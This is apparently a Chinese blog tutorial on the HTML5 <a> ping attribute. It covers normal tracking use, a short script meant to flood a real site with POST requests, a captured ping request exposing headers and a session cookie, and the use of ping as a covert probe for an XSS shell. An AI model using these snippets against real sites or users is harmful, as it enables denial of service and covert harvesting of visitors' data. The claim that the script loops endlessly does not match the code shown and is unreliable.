HTML5 <a>标签的ping属性用法

随着移动互联网用户井喷式的增长，web前端开发中的HTML5在近几年备受瞩目，越来越多的人从事html5开发相关工作。今天小编也来凑个热闹，和大家一起来谈谈HTML5中<a>标签的ping属性。

HTML5  <a>标签的ping属性主要是为了让浏览器对外发送一个异步请求，达到广告的追踪、点击率统计或完成一次HTTP重定向的目的。但是也正是因为其对广告的追踪和监视，使得ping这个属性被浏览器一度抵制、进而加入默认关闭必须从如config这样的选项中打开才可以使用，下面我们来详细看看。

1、Ping的用法

Ping的用法相对比较简单，我们通过举例的方式，为大家介绍：

<a href="http://www.maiziedu.com" ping="http:// www.maiziedu.com /track">click me</a>

当你点击click me的时候，会异步发送一个POST请求到Ping后面指定的地址，Request Body的内容为PING。或许你会问，那<a ping="http://www.maiziedu.com/track">click me</a>这段代码行不行？答案是否定的，和HTML中的<a>标签一样，HTML5中href这个属性必须存在与<a>中，不然Ping也是不会运行的。

2、死亡之ping

根据Ping发送POST请求这个特性，我们可以使用循环使之不停的向一个地址追加POST请求，造成DOS攻击。

<script>

var link = document.createElement('a');

link.href="";

link.ping = 'http://www.maiziedu.com/';

document.head.appendChild(link); link.click();

</script>

运行上面的代码，就会不停的向maiziedu.com发送POST请求。

请运行在线DEMO： DOS.html  ｛chrome｝

3、隐私追踪

Ping可以进行广告追踪，它可以统计用户都点击了哪些链接以及次数，并使用POST请求把这些信息发送到广告商的服务器上。那么POST的这些信息都包含了什么呢，简单来说HTTP Header的内容都会有，我们来看一个截获的完整信息

HOST: xisigr.com

CONTENT-LENGTH: 4

ORIGIN: http://mail.163.com

PING-FROM: http://****.com/js6/read/readhtml.jsp?mid=458:xtbBygBMgFO+dvBcvQAAsM&font=15&color=064977

USER-AGENT: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36

PING-TO: http://www.baidu.com/

CONTENT-TYPE: text/ping

ACCEPT: */*

REFERER: http://****.com/js6/read/readhtml.jsp?mid=458:xtbBygBMgFO+dvBcvQAAsM&font=15&color=064977

ACCEPT-ENCODING: gzip, deflate

ACCEPT-LANGUAGE: zh-CN,zh;q=0.8

COOKIE: sessionid=rnbymrrkbkipn7byvdc2hsem5o0vrr13

CACHE-CONTROL: max-age=0

CONNECTION: keep-alive

PING-FROM、USER-AGENT、REFERER这三个关键信息，直接泄漏了用户的隐私（但几个月前，百度已宣布不支持REFERER）。而这也为我们最爱的XSSSHELL又提供了一个小插件。对于图片探针如果没了新鲜感，那么请试试Ping探针吧，简单的一句<a href="" ping=>就搞定！

追踪这事是攻击者的最爱，我简单做了一个DEMO，打开aping.html这个页面，点击后，你会前往wathwg，并且我异步重定向了下w3.org，但同时你的HTTP Header/IP就被我获取到了。你可以通过这个链接查看截获到的信息，Ping.html。

总结

虽然ping的设计初衷是为了是统计广告的效果更方便快捷，和提升用户异步请求时的页面访问速度，但不可否认，现在HTML5  <a>标签中的ping已可被归结为探测用户隐私的范畴中了，但是这并不妨碍我们对HTML5的热爱和对ping这个属性的使用。

推荐学习:《html5从入门到精通》